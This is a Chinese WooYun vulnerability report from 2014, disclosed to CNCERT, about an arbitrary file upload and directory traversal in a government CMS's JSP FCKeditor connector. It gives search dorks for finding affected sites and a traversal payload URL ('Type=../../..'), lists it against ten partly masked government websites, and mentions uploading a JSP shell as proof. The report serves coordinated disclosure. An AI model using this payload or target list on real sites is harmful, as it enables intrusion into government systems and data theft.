当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-054238

漏洞标题：某政府类CMS通用任意文件上传+目录遍历

相关厂商：Cncert国家互联网应急中心

漏洞作者： U神

提交时间：2014-03-28 12:58

修复时间：2014-06-26 12:58

公开时间：2014-06-26 12:58

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-28： 细节已通知厂商并且等待厂商处理中
2014-04-01： 厂商已经确认，细节仅向厂商公开
2014-04-04： 细节向第三方安全合作伙伴开放
2014-05-26： 细节向核心白帽子及相关领域专家公开
2014-06-05： 细节向普通白帽子公开
2014-06-15： 细节向实习白帽子公开
2014-06-26： 细节向公众公开

简要描述：

详细说明：

#1.今天是改善Gov安全的第五课！------该CMS主要是存在一个JSP的Fckeditor导致了任意文件上传，并且毫无限制地存在目录遍历，想看什么就看什么~关键字比较难构造，如下：

inurl:u***es inurl:index.jsp
inurl:do***?siteid


#2.根据该关键字可以发现，存在大量的这样的政府网站~

QQ截图20140623191817.png


其漏洞主要表现在Fckeditor的编辑上，地址如下：

fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector


以下枚举十例，【注意】仅提供给Cncert进行复现测试，其它人员请勿对提供的网站此进行利用或破坏，否则后果自负!：

http://www.wuzhi.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://eqrsj.***.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.j***o.jcy.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.s***u.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://cjl.***i.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.***.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.e***k.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://***j.***i.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.***g.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://jsj.***i.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector


以上十例主要都是市级以上的政府单位！所以要注意自己的举止！为防止漏洞被利用，请Cncert紧急通报以上说的十例先修复该漏洞！

漏洞证明：

#3.以最后一例子来做测试，我们看看Fck编辑器带来的危害！可泄漏大量敏感信息！危害可想而知！看下面的图，完全可以遍历网站所有目录内容，包括一些敏感的文件信息！

QQ截图20140623191817.png


#4.测试是否能成功上传JSP脚本，成功上传zone.jsp

修复方案：

PS:以上测试为证明漏洞危害，Shell已删除，请勿跨省，改善Gov安全，是我们白帽子的职责！原来我终于知道为什么中国那么多政府网会被外国黑客黑了！原来是这么简单！例如由某生产厂商提供自己写的CMS然后给批量的政府网安装，而该CMS存在一个漏洞导致所有网站沦陷！

版权声明：转载请注明来源 U神@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-04-01 22:27

厂商回复：

最新状态：

暂无